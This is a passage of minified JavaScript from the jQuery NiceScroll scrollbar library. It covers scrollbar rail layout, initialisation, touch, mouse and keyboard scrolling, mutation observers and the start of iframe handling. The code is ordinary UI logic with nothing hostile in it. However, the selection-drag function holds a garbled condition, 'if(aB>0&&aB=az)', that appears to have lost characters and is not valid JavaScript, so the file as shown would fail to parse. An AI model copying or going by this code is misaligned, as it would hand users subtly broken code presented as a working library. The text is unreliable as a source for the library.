ad.target}if(ad.srcElement){return ad.srcElement}return false};this.hasParent=function(ae,af){if(!ae){return false}var ad=ae.target||ae.srcElement||ae||false;while(ad&&ad.id!=af){ad=ad.parentNode||false}return(ad!==false)};function Q(){var ae=S.win;if("zIndex" in ae){return ae.zIndex()}while(ae.length>0){if(ae[0].nodeType==9){return false}var ad=ae.css("zIndex");if(!isNaN(ad)&&ad!==0){return parseInt(ad)}ae=ae.parent()}return false}var Z={"thin":1,"medium":3,"thick":5};function I(ag,ai,af){var ae=ag.css(ai);var ad=parseFloat(ae);if(isNaN(ad)){ad=Z[ae]||0;var ah=(ad==3)?((af)?(S.win.outerHeight()-S.win.innerHeight()):(S.win.outerWidth()-S.win.innerWidth())):1;if(S.isie8&&ad){ad+=1}return(ah)?ad:0}return ad}this.getDocumentScrollOffset=function(){return{top:n.pageYOffset||c.documentElement.scrollTop,left:n.pageXOffset||c.documentElement.scrollLeft}};this.getOffset=function(){if(S.isfixed){var af=S.win.offset();var ae=S.getDocumentScrollOffset();af.top-=ae.top;af.left-=ae.left;return af}var ag=S.win.offset();if(!S.viewport){return ag}var ad=S.viewport.offset();return{top:ag.top-ad.top,left:ag.left-ad.left}};this.updateScrollBar=function(ae){var ai,ag;if(S.ishwscroll){S.rail.css({height:S.win.innerHeight()-(D.railpadding.top+D.railpadding.bottom)});if(S.railh){S.railh.css({width:S.win.innerWidth()-(D.railpadding.left+D.railpadding.right)})}}else{var af=S.getOffset();ai={top:af.top,left:af.left-(D.railpadding.left+D.railpadding.right)};ai.top+=I(S.win,"border-top-width",true);ai.left+=(S.rail.align)?S.win.outerWidth()-I(S.win,"border-right-width")-S.rail.width:I(S.win,"border-left-width");ag=D.railoffset;if(ag){if(ag.top){ai.top+=ag.top}if(ag.left){ai.left+=ag.left}}if(!S.railslocked){S.rail.css({top:ai.top,left:ai.left,height:((ae)?ae.h:S.win.innerHeight())-(D.railpadding.top+D.railpadding.bottom)})}if(S.zoom){S.zoom.css({top:ai.top+1,left:(S.rail.align==1)?ai.left-20:ai.left+S.rail.width+4})}if(S.railh&&!S.railslocked){ai={top:af.top,left:af.left};ag=D.railhoffset;if(ag){if(ag.top){ai.top+=ag.top}if(ag.left){ai.left+=ag.left}}var ah=(S.railh.align)?ai.top+I(S.win,"border-top-width",true)+S.win.innerHeight()-S.railh.height:ai.top+I(S.win,"border-top-width",true);var ad=ai.left+I(S.win,"border-left-width");S.railh.css({top:ah-(D.railpadding.top+D.railpadding.bottom),left:ad,width:S.railh.width})}}};this.doRailClick=function(ag,af,ae){var ad,aj,ah,ai;if(S.railslocked){return}S.cancelEvent(ag);if(!("pageY" in ag)){ag.pageX=ag.clientX+c.documentElement.scrollLeft;ag.pageY=ag.clientY+c.documentElement.scrollTop}if(af){ad=(ae)?S.doScrollLeft:S.doScrollTop;ah=(ae)?((ag.pageX-S.railh.offset().left-(S.cursorwidth/2))*S.scrollratio.x):((ag.pageY-S.rail.offset().top-(S.cursorheight/2))*S.scrollratio.y);S.unsynched("relativexy");ad(ah|0)}else{ad=(ae)?S.doScrollLeftBy:S.doScrollBy;ah=(ae)?S.scroll.x:S.scroll.y;ai=(ae)?ag.pageX-S.railh.offset().left:ag.pageY-S.rail.offset().top;aj=(ae)?S.view.w:S.view.h;ad((ah>=ai)?aj:-aj)}};S.newscrolly=S.newscrollx=0; +S.hasanimationframe=("requestAnimationFrame" in n);S.hascancelanimationframe=("cancelAnimationFrame" in n);S.hasborderbox=false;this.init=function(){S.saved.css=[];if(M.isoperamini){return true}if(M.isandroid&&!("hidden" in c)){return true}D.emulatetouch=D.emulatetouch||D.touchbehavior;S.hasborderbox=n.getComputedStyle&&(n.getComputedStyle(c.body)["box-sizing"]==="border-box");var ai={"overflow-y":"hidden"};if(M.isie11||M.isie10){ai["-ms-overflow-style"]="none"}if(S.ishwscroll){this.doc.css(M.transitionstyle,M.prefixstyle+"transform 0ms ease-out");if(M.transitionend){S.bind(S.doc,M.transitionend,S.onScrollTransitionEnd,false)}}S.zindex="auto";if(!S.ispage&&D.zindex=="auto"){S.zindex=Q()||"auto"}else{S.zindex=D.zindex}if(!S.ispage&&S.zindex!="auto"&&S.zindex>f){f=S.zindex}if(S.isie&&S.zindex===0&&D.zindex=="auto"){S.zindex="auto"}if(!S.ispage||!M.isieold){var ah=S.docscroll;if(S.ispage){ah=(S.haswrapper)?S.win:S.doc}S.css(ah,ai);if(S.ispage&&(M.isie11||M.isie)){S.css(g("html"),ai)}if(M.isios&&!S.ispage&&!S.haswrapper){S.css(T,{"-webkit-overflow-scrolling":"touch"})}var aj=g(c.createElement("div"));aj.css({position:"relative",top:0,"float":"right",width:D.cursorwidth,height:0,"background-color":D.cursorcolor,border:D.cursorborder,"background-clip":"padding-box","-webkit-border-radius":D.cursorborderradius,"-moz-border-radius":D.cursorborderradius,"border-radius":D.cursorborderradius});aj.addClass("nicescroll-cursors");S.cursor=aj;var ag=g(c.createElement("div"));ag.attr("id",S.id);ag.addClass("nicescroll-rails nicescroll-rails-vr");if(D.scrollCLass){ag.addClass(D.scrollCLass)}var ap,aw,ae=["left","right","top","bottom"];for(var aq in ae){aw=ae[aq];ap=D.railpadding[aw]||0;ap&&ag.css("padding-"+aw,ap+"px")}ag.append(aj);ag.width=Math.max(parseFloat(D.cursorwidth),aj.outerWidth());ag.css({width:ag.width+"px",zIndex:S.zindex,background:D.background,cursor:"default"});ag.visibility=true;ag.scrollable=true;ag.align=(D.railalign=="left")?0:1;S.rail=ag;S.rail.drag=false;var ad=false;if(D.boxzoom&&!S.ispage&&!M.isieold){ad=c.createElement("div");S.bind(ad,"click",S.doZoom);S.bind(ad,"mouseenter",function(){S.zoom.css("opacity",D.cursoropacitymax)});S.bind(ad,"mouseleave",function(){S.zoom.css("opacity",D.cursoropacitymin)});S.zoom=g(ad);S.zoom.css({cursor:"pointer",zIndex:S.zindex,backgroundImage:"url("+D.scriptpath+"zoomico.png)",height:18,width:18,backgroundPosition:"0 0"});if(D.dblclickzoom){S.bind(S.win,"dblclick",S.doZoom)}if(M.cantouch&&D.gesturezoom){S.ongesturezoom=function(ay){if(ay.scale>1.5){S.doZoomIn(ay)}if(ay.scale<0.8){S.doZoomOut(ay)}return S.cancelEvent(ay)};S.bind(S.win,"gestureend",S.ongesturezoom)}}S.railh=false;var ao;if(D.horizrailenabled){S.css(ah,{overflowX:"hidden"});aj=g(c.createElement("div"));aj.css({position:"absolute",top:0,height:D.cursorwidth,width:0,backgroundColor:D.cursorcolor,border:D.cursorborder,backgroundClip:"padding-box","-webkit-border-radius":D.cursorborderradius,"-moz-border-radius":D.cursorborderradius,"border-radius":D.cursorborderradius});if(M.isieold){aj.css("overflow","hidden")}aj.addClass("nicescroll-cursors");S.cursorh=aj;ao=g(c.createElement("div"));ao.attr("id",S.id+"-hr");ao.addClass("nicescroll-rails nicescroll-rails-hr");if(D.scrollCLass){ao.addClass(D.scrollCLass)}ao.height=Math.max(parseFloat(D.cursorwidth),aj.outerHeight());ao.css({height:ao.height+"px","zIndex":S.zindex,"background":D.background});ao.append(aj);ao.visibility=true;ao.scrollable=true;ao.align=(D.railvalign=="top")?0:1;S.railh=ao;S.railh.drag=false}if(S.ispage){ag.css({position:"fixed",top:0,height:"100%"});ag.css((ag.align)?{right:0}:{left:0});S.body.append(ag);if(S.railh){ao.css({position:"fixed",left:0,width:"100%"});ao.css((ao.align)?{bottom:0}:{top:0});S.body.append(ao)}}else{if(S.ishwscroll){if(S.win.css("position")=="static"){S.css(S.win,{"position":"relative"})}var ak=(S.win[0].nodeName=="HTML")?S.body:S.win;g(ak).scrollTop(0).scrollLeft(0);if(S.zoom){S.zoom.css({position:"absolute",top:1,right:0,"margin-right":ag.width+4});ak.append(S.zoom)}ag.css({position:"absolute",top:0});ag.css((ag.align)?{right:0}:{left:0});ak.append(ag);if(ao){ao.css({position:"absolute",left:0,bottom:0});ao.css((ao.align)?{bottom:0}:{top:0});ak.append(ao)}}else{S.isfixed=(S.win.css("position")=="fixed");var ar=(S.isfixed)?"fixed":"absolute";if(!S.isfixed){S.viewport=S.getViewport(S.win[0])}if(S.viewport){S.body=S.viewport;if(!(/fixed|absolute/.test(S.viewport.css("position")))){S.css(S.viewport,{"position":"relative"})}}ag.css({position:ar});if(S.zoom){S.zoom.css({position:ar})}S.updateScrollBar();S.body.append(ag);if(S.zoom){S.body.append(S.zoom)}if(S.railh){ao.css({position:ar});S.body.append(ao)}}if(M.isios){S.css(S.win,{"-webkit-tap-highlight-color":"rgba(0,0,0,0)","-webkit-touch-callout":"none"})}if(D.disableoutline){if(M.isie){S.win.attr("hideFocus","true")}if(M.iswebkit){S.win.css("outline","none")}}}if(D.autohidemode===false){S.autohidedom=false;S.rail.css({opacity:D.cursoropacitymax});if(S.railh){S.railh.css({opacity:D.cursoropacitymax}) +}}else{if((D.autohidemode===true)||(D.autohidemode==="leave")){S.autohidedom=g().add(S.rail);if(M.isie8){S.autohidedom=S.autohidedom.add(S.cursor)}if(S.railh){S.autohidedom=S.autohidedom.add(S.railh)}if(S.railh&&M.isie8){S.autohidedom=S.autohidedom.add(S.cursorh)}}else{if(D.autohidemode=="scroll"){S.autohidedom=g().add(S.rail);if(S.railh){S.autohidedom=S.autohidedom.add(S.railh)}}else{if(D.autohidemode=="cursor"){S.autohidedom=g().add(S.cursor);if(S.railh){S.autohidedom=S.autohidedom.add(S.cursorh)}}else{if(D.autohidemode=="hidden"){S.autohidedom=false;S.hide();S.railslocked=false}}}}}if(M.cantouch||S.istouchcapable||D.emulatetouch||M.hasmstouch){S.scrollmom=new v(S);var al=null;S.ontouchstart=function(aC){if(S.locked){return false}if(aC.pointerType&&(aC.pointerType==="mouse"||aC.pointerType===aC.MSPOINTER_TYPE_MOUSE)){return false}S.hasmoving=false;if(S.scrollmom.timer){S.triggerScrollEnd();S.scrollmom.stop()}if(!S.railslocked){var az=S.getTarget(aC);if(az){var aI=(/INPUT/i.test(az.nodeName))&&(/range/i.test(az.type));if(aI){return S.stopPropagation(aC)}}var aG=(aC.type==="mousedown");if(!("clientX" in aC)&&("changedTouches" in aC)){aC.clientX=aC.changedTouches[0].clientX;aC.clientY=aC.changedTouches[0].clientY}if(S.forcescreen){var ay=aC;aC={"original":(aC.original)?aC.original:aC};aC.clientX=ay.screenX;aC.clientY=ay.screenY}S.rail.drag={x:aC.clientX,y:aC.clientY,sx:S.scroll.x,sy:S.scroll.y,st:S.getScrollTop(),sl:S.getScrollLeft(),pt:2,dl:false,tg:az};if(S.ispage||!D.directionlockdeadzone){S.rail.drag.dl="f"}else{var aH={w:t.width(),h:t.height()};var aD=S.getContentSize();var aA=aD.h-aH.h;var aF=aD.w-aH.w;if(S.rail.scrollable&&!S.railh.scrollable){S.rail.drag.ck=(aA>0)?"v":false}else{if(!S.rail.scrollable&&S.railh.scrollable){S.rail.drag.ck=(aF>0)?"h":false}else{S.rail.drag.ck=false}}}if(D.emulatetouch&&S.isiframe&&M.isie){var aE=S.win.position();S.rail.drag.x+=aE.left;S.rail.drag.y+=aE.top}S.hasmoving=false;S.lastmouseup=false;S.scrollmom.reset(aC.clientX,aC.clientY);if(az&&aG){var aB=/INPUT|SELECT|BUTTON|TEXTAREA/i.test(az.nodeName);if(!aB){if(M.hasmousecapture){az.setCapture()}if(D.emulatetouch){if(az.onclick&&!(az._onclick||false)){az._onclick=az.onclick;az.onclick=function(aJ){if(S.hasmoving){return false}az._onclick.call(this,aJ)}}return S.cancelEvent(aC)}return S.stopPropagation(aC)}if(/SUBMIT|CANCEL|BUTTON/i.test(g(az).attr("type"))){S.preventclick={"tg":az,"click":false}}}}};S.ontouchend=function(ay){if(!S.rail.drag){return true}if(S.rail.drag.pt==2){if(ay.pointerType&&(ay.pointerType==="mouse"||ay.pointerType===ay.MSPOINTER_TYPE_MOUSE)){return false}S.rail.drag=false;var az=(ay.type==="mouseup");if(S.hasmoving){S.scrollmom.doMomentum();S.lastmouseup=true;S.hideCursor();if(M.hasmousecapture){c.releaseCapture()}if(az){return S.cancelEvent(ay)}}}else{if(S.rail.drag.pt==1){return S.onmouseup(ay)}}};var au=(D.emulatetouch&&S.isiframe&&!M.hasmousecapture);var am=D.directionlockdeadzone*0.3|0;S.ontouchmove=function(aH,aC){if(!S.rail.drag){return true}if(aH.targetTouches&&D.preventmultitouchscrolling){if(aH.targetTouches.length>1){return true}}if(aH.pointerType&&(aH.pointerType==="mouse"||aH.pointerType===aH.MSPOINTER_TYPE_MOUSE)){return true}if(S.rail.drag.pt==2){if(("changedTouches" in aH)){aH.clientX=aH.changedTouches[0].clientX;aH.clientY=aH.changedTouches[0].clientY}var aD,aE;aE=aD=0;if(au&&!aC){var aI=S.win.position();aE=-aI.left;aD=-aI.top}var aA=aH.clientY+aD;var aJ=(aA-S.rail.drag.y);var aB=aH.clientX+aE;var aK=(aB-S.rail.drag.x);var aF=S.rail.drag.st-aJ;if(S.ishwscroll&&D.bouncescroll){if(aF<0){aF=Math.round(aF/2)}else{if(aF>S.page.maxh){aF=S.page.maxh+Math.round((aF-S.page.maxh)/2)}}}else{if(aF<0){aF=0;aA=0}else{if(aF>S.page.maxh){aF=S.page.maxh;aA=0}}if(aA===0&&!S.hasmoving){if(!S.ispage){S.rail.drag=false}return true}}var aG=S.getScrollLeft();if(S.railh&&S.railh.scrollable){aG=(S.isrtlmode)?aK-S.rail.drag.sl:S.rail.drag.sl-aK;if(S.ishwscroll&&D.bouncescroll){if(aG<0){aG=Math.round(aG/2)}else{if(aG>S.page.maxw){aG=S.page.maxw+Math.round((aG-S.page.maxw)/2)}}}else{if(aG<0){aG=0;aB=0}if(aG>S.page.maxw){aG=S.page.maxw;aB=0}}}if(!S.hasmoving){if(S.rail.drag.y===aH.clientY&&S.rail.drag.x===aH.clientX){return S.cancelEvent(aH)}var aM=Math.abs(aJ);var az=Math.abs(aK);var aL=D.directionlockdeadzone;if(!S.rail.drag.ck){if(aM>aL&&az>aL){S.rail.drag.dl="f"}else{if(aM>aL){S.rail.drag.dl=(az>am)?"f":"v"}else{if(az>aL){S.rail.drag.dl=(aM>am)?"f":"h"}}}}else{if(S.rail.drag.ck=="v"){if(az>aL&&aM<=am){S.rail.drag=false}else{if(aM>aL){S.rail.drag.dl="v"}}}else{if(S.rail.drag.ck=="h"){if(aM>aL&&az<=am){S.rail.drag=false}else{if(az>aL){S.rail.drag.dl="h"}}}}}if(!S.rail.drag.dl){return S.cancelEvent(aH)}S.triggerScrollStart(aH.clientX,aH.clientY,0,0,0);S.hasmoving=true}if(S.preventclick&&!S.preventclick.click){S.preventclick.click=S.preventclick.tg.onclick||false;S.preventclick.tg.onclick=S.onpreventclick}if(S.rail.drag.dl){if(S.rail.drag.dl=="v"){aG=S.rail.drag.sl}else{if(S.rail.drag.dl=="h"){aF=S.rail.drag.st}}}S.synched("touchmove",function(){if(S.rail.drag&&(S.rail.drag.pt==2)){if(S.prepareTransition){S.resetTransition() +}if(S.rail.scrollable){S.setScrollTop(aF)}S.scrollmom.update(aB,aA);if(S.railh&&S.railh.scrollable){S.setScrollLeft(aG);S.showCursor(aF,aG)}else{S.showCursor(aF)}if(M.isie10){c.selection.clear()}}});return S.cancelEvent(aH)}else{if(S.rail.drag.pt==1){return S.onmousemove(aH)}}};S.ontouchstartCursor=function(aA,ay){if(S.rail.drag&&S.rail.drag.pt!=3){return}if(S.locked){return S.cancelEvent(aA)}S.cancelScroll();S.rail.drag={x:aA.touches[0].clientX,y:aA.touches[0].clientY,sx:S.scroll.x,sy:S.scroll.y,pt:3,hr:(!!ay)};var az=S.getTarget(aA);if(!S.ispage&&M.hasmousecapture){az.setCapture()}if(S.isiframe&&!M.hasmousecapture){S.saved.csspointerevents=S.doc.css("pointer-events");S.css(S.doc,{"pointer-events":"none"})}return S.cancelEvent(aA)};S.ontouchendCursor=function(ay){if(S.rail.drag){if(M.hasmousecapture){c.releaseCapture()}if(S.isiframe&&!M.hasmousecapture){S.doc.css("pointer-events",S.saved.csspointerevents)}if(S.rail.drag.pt!=3){return}S.rail.drag=false;return S.cancelEvent(ay)}};S.ontouchmoveCursor=function(az){if(S.rail.drag){if(S.rail.drag.pt!=3){return}S.cursorfreezed=true;if(S.rail.drag.hr){S.scroll.x=S.rail.drag.sx+(az.touches[0].clientX-S.rail.drag.x);if(S.scroll.x<0){S.scroll.x=0}var aA=S.scrollvaluemaxw;if(S.scroll.x>aA){S.scroll.x=aA}}else{S.scroll.y=S.rail.drag.sy+(az.touches[0].clientY-S.rail.drag.y);if(S.scroll.y<0){S.scroll.y=0}var ay=S.scrollvaluemax;if(S.scroll.y>ay){S.scroll.y=ay}}S.synched("touchmove",function(){if(S.rail.drag&&(S.rail.drag.pt==3)){S.showCursor();if(S.rail.drag.hr){S.doScrollLeft(Math.round(S.scroll.x*S.scrollratio.x),D.cursordragspeed)}else{S.doScrollTop(Math.round(S.scroll.y*S.scrollratio.y),D.cursordragspeed)}}});return S.cancelEvent(az)}}}S.onmousedown=function(aA,ay){if(S.rail.drag&&S.rail.drag.pt!=1){return}if(S.railslocked){return S.cancelEvent(aA)}S.cancelScroll();S.rail.drag={x:aA.clientX,y:aA.clientY,sx:S.scroll.x,sy:S.scroll.y,pt:1,hr:ay||false};var az=S.getTarget(aA);if(M.hasmousecapture){az.setCapture()}if(S.isiframe&&!M.hasmousecapture){S.saved.csspointerevents=S.doc.css("pointer-events");S.css(S.doc,{"pointer-events":"none"})}S.hasmoving=false;return S.cancelEvent(aA)};S.onmouseup=function(ay){if(S.rail.drag){if(S.rail.drag.pt!=1){return true}if(M.hasmousecapture){c.releaseCapture()}if(S.isiframe&&!M.hasmousecapture){S.doc.css("pointer-events",S.saved.csspointerevents)}S.rail.drag=false;S.cursorfreezed=false;if(S.hasmoving){S.triggerScrollEnd()}return S.cancelEvent(ay)}};S.onmousemove=function(az){if(S.rail.drag){if(S.rail.drag.pt!==1){return}if(M.ischrome&&az.which===0){return S.onmouseup(az)}S.cursorfreezed=true;if(!S.hasmoving){S.triggerScrollStart(az.clientX,az.clientY,0,0,0)}S.hasmoving=true;if(S.rail.drag.hr){S.scroll.x=S.rail.drag.sx+(az.clientX-S.rail.drag.x);if(S.scroll.x<0){S.scroll.x=0}var aA=S.scrollvaluemaxw;if(S.scroll.x>aA){S.scroll.x=aA}}else{S.scroll.y=S.rail.drag.sy+(az.clientY-S.rail.drag.y);if(S.scroll.y<0){S.scroll.y=0}var ay=S.scrollvaluemax;if(S.scroll.y>ay){S.scroll.y=ay}}S.synched("mousemove",function(){if(S.cursorfreezed){S.showCursor();if(S.rail.drag.hr){S.scrollLeft(Math.round(S.scroll.x*S.scrollratio.x))}else{S.scrollTop(Math.round(S.scroll.y*S.scrollratio.y))}}});return S.cancelEvent(az)}else{S.checkarea=0}};if(M.cantouch||D.emulatetouch){S.onpreventclick=function(ay){if(S.preventclick){S.preventclick.tg.onclick=S.preventclick.click;S.preventclick=false;return S.cancelEvent(ay)}};S.onclick=(M.isios)?false:function(ay){if(S.lastmouseup){S.lastmouseup=false;return S.cancelEvent(ay)}else{return true}};if(D.grabcursorenabled&&M.cursorgrabvalue){S.css((S.ispage)?S.doc:S.win,{"cursor":M.cursorgrabvalue});S.css(S.rail,{"cursor":M.cursorgrabvalue})}}else{var af=function(aA){if(!S.selectiondrag){return}if(aA){var az=S.win.outerHeight();var aB=(aA.pageY-S.selectiondrag.top);if(aB>0&&aB=az){aB-=az}S.selectiondrag.df=aB}if(S.selectiondrag.df===0){return}var ay=-(S.selectiondrag.df*2/6)|0;S.doScrollBy(ay);S.debounced("doselectionscroll",function(){af()},50)};if("getSelection" in c){S.hasTextSelected=function(){return(c.getSelection().rangeCount>0)}}else{if("selection" in c){S.hasTextSelected=function(){return(c.selection.type!="None")}}else{S.hasTextSelected=function(){return false}}}S.onselectionstart=function(ay){if(S.ispage){return}S.selectiondrag=S.win.offset()};S.onselectionend=function(ay){S.selectiondrag=false};S.onselectiondrag=function(ay){if(!S.selectiondrag){return}if(S.hasTextSelected()){S.debounced("selectionscroll",function(){af(ay)},250)}}}if(M.hasw3ctouch){S.css((S.ispage)?g("html"):S.win,{"touch-action":"none"});S.css(S.rail,{"touch-action":"none"});S.css(S.cursor,{"touch-action":"none"});S.bind(S.win,"pointerdown",S.ontouchstart);S.bind(c,"pointerup",S.ontouchend);S.delegate(c,"pointermove",S.ontouchmove)}else{if(M.hasmstouch){S.css((S.ispage)?g("html"):S.win,{"-ms-touch-action":"none"});S.css(S.rail,{"-ms-touch-action":"none"});S.css(S.cursor,{"-ms-touch-action":"none"});S.bind(S.win,"MSPointerDown",S.ontouchstart); +S.bind(c,"MSPointerUp",S.ontouchend);S.delegate(c,"MSPointerMove",S.ontouchmove);S.bind(S.cursor,"MSGestureHold",function(ay){ay.preventDefault()});S.bind(S.cursor,"contextmenu",function(ay){ay.preventDefault()})}else{if(M.cantouch){S.bind(S.win,"touchstart",S.ontouchstart,false,true);S.bind(c,"touchend",S.ontouchend,false,true);S.bind(c,"touchcancel",S.ontouchend,false,true);S.delegate(c,"touchmove",S.ontouchmove,false,true)}}}if(D.emulatetouch){S.bind(S.win,"mousedown",S.ontouchstart,false,true);S.bind(c,"mouseup",S.ontouchend,false,true);S.bind(c,"mousemove",S.ontouchmove,false,true)}if(D.cursordragontouch||(!M.cantouch&&!D.emulatetouch)){S.rail.css({cursor:"default"});S.railh&&S.railh.css({cursor:"default"});S.jqbind(S.rail,"mouseenter",function(){if(!S.ispage&&!S.win.is(":visible")){return false}if(S.canshowonmouseevent){S.showCursor()}S.rail.active=true});S.jqbind(S.rail,"mouseleave",function(){S.rail.active=false;if(!S.rail.drag){S.hideCursor()}});if(D.sensitiverail){S.bind(S.rail,"click",function(ay){S.doRailClick(ay,false,false)});S.bind(S.rail,"dblclick",function(ay){S.doRailClick(ay,true,false)});S.bind(S.cursor,"click",function(ay){S.cancelEvent(ay)});S.bind(S.cursor,"dblclick",function(ay){S.cancelEvent(ay)})}if(S.railh){S.jqbind(S.railh,"mouseenter",function(){if(!S.ispage&&!S.win.is(":visible")){return false}if(S.canshowonmouseevent){S.showCursor()}S.rail.active=true});S.jqbind(S.railh,"mouseleave",function(){S.rail.active=false;if(!S.rail.drag){S.hideCursor()}});if(D.sensitiverail){S.bind(S.railh,"click",function(ay){S.doRailClick(ay,false,true)});S.bind(S.railh,"dblclick",function(ay){S.doRailClick(ay,true,true)});S.bind(S.cursorh,"click",function(ay){S.cancelEvent(ay)});S.bind(S.cursorh,"dblclick",function(ay){S.cancelEvent(ay)})}}}if(D.cursordragontouch&&(this.istouchcapable||M.cantouch)){S.bind(S.cursor,"touchstart",S.ontouchstartCursor);S.bind(S.cursor,"touchmove",S.ontouchmoveCursor);S.bind(S.cursor,"touchend",S.ontouchendCursor);S.cursorh&&S.bind(S.cursorh,"touchstart",function(ay){S.ontouchstartCursor(ay,true)});S.cursorh&&S.bind(S.cursorh,"touchmove",S.ontouchmoveCursor);S.cursorh&&S.bind(S.cursorh,"touchend",S.ontouchendCursor)}if(!D.emulatetouch&&!M.isandroid&&!M.isios){S.bind((M.hasmousecapture)?S.win:c,"mouseup",S.onmouseup);S.bind(c,"mousemove",S.onmousemove);if(S.onclick){S.bind(c,"click",S.onclick)}S.bind(S.cursor,"mousedown",S.onmousedown);S.bind(S.cursor,"mouseup",S.onmouseup);if(S.railh){S.bind(S.cursorh,"mousedown",function(ay){S.onmousedown(ay,true)});S.bind(S.cursorh,"mouseup",S.onmouseup)}if(!S.ispage&&D.enablescrollonselection){S.bind(S.win[0],"mousedown",S.onselectionstart);S.bind(c,"mouseup",S.onselectionend);S.bind(S.cursor,"mouseup",S.onselectionend);if(S.cursorh){S.bind(S.cursorh,"mouseup",S.onselectionend)}S.bind(c,"mousemove",S.onselectiondrag)}if(S.zoom){S.jqbind(S.zoom,"mouseenter",function(){if(S.canshowonmouseevent){S.showCursor()}S.rail.active=true});S.jqbind(S.zoom,"mouseleave",function(){S.rail.active=false;if(!S.rail.drag){S.hideCursor()}})}}else{S.bind((M.hasmousecapture)?S.win:c,"mouseup",S.ontouchend);if(S.onclick){S.bind(c,"click",S.onclick)}if(D.cursordragontouch){S.bind(S.cursor,"mousedown",S.onmousedown);S.bind(S.cursor,"mouseup",S.onmouseup);S.cursorh&&S.bind(S.cursorh,"mousedown",function(ay){S.onmousedown(ay,true)});S.cursorh&&S.bind(S.cursorh,"mouseup",S.onmouseup)}else{S.bind(S.rail,"mousedown",function(ay){ay.preventDefault()});S.railh&&S.bind(S.railh,"mousedown",function(ay){ay.preventDefault()})}}if(D.enablemousewheel){if(!S.isiframe){S.mousewheel((M.isie&&S.ispage)?c:S.win,S.onmousewheel)}S.mousewheel(S.rail,S.onmousewheel);if(S.railh){S.mousewheel(S.railh,S.onmousewheelhr)}}if(!S.ispage&&!M.cantouch&&!(/HTML|^BODY/.test(S.win[0].nodeName))){if(!S.win.attr("tabindex")){S.win.attr({"tabindex":++m})}S.bind(S.win,"focus",function(ay){h=(S.getTarget(ay)).id||S.getTarget(ay)||false;S.hasfocus=true;if(S.canshowonmouseevent){S.noticeCursor()}});S.bind(S.win,"blur",function(ay){h=false;S.hasfocus=false});S.bind(S.win,"mouseenter",function(ay){o=(S.getTarget(ay)).id||S.getTarget(ay)||false;S.hasmousefocus=true;if(S.canshowonmouseevent){S.noticeCursor()}});S.bind(S.win,"mouseleave",function(ay){o=false;S.hasmousefocus=false;if(!S.rail.drag){S.hideCursor()}})}S.onkeypress=function(aD){if(S.railslocked&&S.page.maxh===0){return true}aD=aD||n.event;var aC=S.getTarget(aD);if(aC&&/INPUT|TEXTAREA|SELECT|OPTION/.test(aC.nodeName)){var aE=aC.getAttribute("type")||aC.type||false;if((!aE)||!(/submit|button|cancel/i.tp)){return true}}if(g(aC).attr("contenteditable")){return true}if(S.hasfocus||(S.hasmousefocus&&!h)||(S.ispage&&!h&&!o)){var aA=aD.keyCode;if(S.railslocked&&aA!=27){return S.cancelEvent(aD)}var aB=aD.ctrlKey||false;var ay=aD.shiftKey||false;var az=false;switch(aA){case 38:case 63233:S.doScrollBy(24*3);az=true;break;case 40:case 63235:S.doScrollBy(-24*3);az=true;break;case 37:case 63232:if(S.railh){(aB)?S.doScrollLeft(0):S.doScrollLeftBy(24*3);az=true +}break;case 39:case 63234:if(S.railh){(aB)?S.doScrollLeft(S.page.maxw):S.doScrollLeftBy(-24*3);az=true}break;case 33:case 63276:S.doScrollBy(S.view.h);az=true;break;case 34:case 63277:S.doScrollBy(-S.view.h);az=true;break;case 36:case 63273:(S.railh&&aB)?S.doScrollPos(0,0):S.doScrollTo(0);az=true;break;case 35:case 63275:(S.railh&&aB)?S.doScrollPos(S.page.maxw,S.page.maxh):S.doScrollTo(S.page.maxh);az=true;break;case 32:if(D.spacebarenabled){(ay)?S.doScrollBy(S.view.h):S.doScrollBy(-S.view.h);az=true}break;case 27:if(S.zoomactive){S.doZoom();az=true}break}if(az){return S.cancelEvent(aD)}}};if(D.enablekeyboard){S.bind(c,(M.isopera&&!M.isopera12)?"keypress":"keydown",S.onkeypress)}S.bind(c,"keydown",function(az){var ay=az.ctrlKey||false;if(ay){S.wheelprevented=true}});S.bind(c,"keyup",function(az){var ay=az.ctrlKey||false;if(!ay){S.wheelprevented=false}});S.bind(n,"blur",function(ay){S.wheelprevented=false});S.bind(n,"resize",S.onscreenresize);S.bind(n,"orientationchange",S.onscreenresize);S.bind(n,"load",S.lazyResize);if(M.ischrome&&!S.ispage&&!S.haswrapper){var at=S.win.attr("style");var ax=parseFloat(S.win.css("width"))+1;S.win.css("width",ax);S.synched("chromefix",function(){S.win.attr("style",at)})}S.onAttributeChange=function(ay){S.lazyResize(S.isieold?250:30)};if(D.enableobserver){if((!S.isie11)&&(b!==false)){S.observerbody=new b(function(ay){ay.forEach(function(az){if(az.type=="attributes"){return(T.hasClass("modal-open")&&T.hasClass("modal-dialog")&&!g.contains(g(".modal-dialog")[0],S.doc[0]))?S.hide():S.show()}});if(S.me.clientWidth!=S.page.width||S.me.clientHeight!=S.page.height){return S.lazyResize(30)}});S.observerbody.observe(c.body,{childList:true,subtree:true,characterData:false,attributes:true,attributeFilter:["class"]})}if(!S.ispage&&!S.haswrapper){var av=S.win[0];if(b!==false){S.observer=new b(function(ay){ay.forEach(S.onAttributeChange)});S.observer.observe(av,{childList:true,characterData:false,attributes:true,subtree:false});S.observerremover=new b(function(ay){ay.forEach(function(aA){if(aA.removedNodes.length>0){for(var az in aA.removedNodes){if(!!S&&(aA.removedNodes[az]===av)){return S.remove()}}}})});S.observerremover.observe(av.parentNode,{childList:true,characterData:false,attributes:false,subtree:false})}else{S.bind(av,(M.isie&&!M.isie9)?"propertychange":"DOMAttrModified",S.onAttributeChange);if(M.isie9){av.attachEvent("onpropertychange",S.onAttributeChange)}S.bind(av,"DOMNodeRemoved",function(ay){if(ay.target===av){S.remove()}})}}}if(!S.ispage&&D.boxzoom){S.bind(n,"resize",S.resizeZoom)}if(S.istextarea){S.bind(S.win,"keydown",S.lazyResize);S.bind(S.win,"mouseup",S.lazyResize)}S.lazyResize(30)}if(this.doc[0].nodeName=="IFRAME"){var an=function(){S.iframexd=false;var aB;try{aB="contentDocument" in this?this.contentDocument:this.contentWindow._doc;var ay=aB.domain}catch(aA){S.iframexd=true;aB=false}if(S.iframexd){if("console" in n){console.log("NiceScroll error: policy restriced iframe")}return 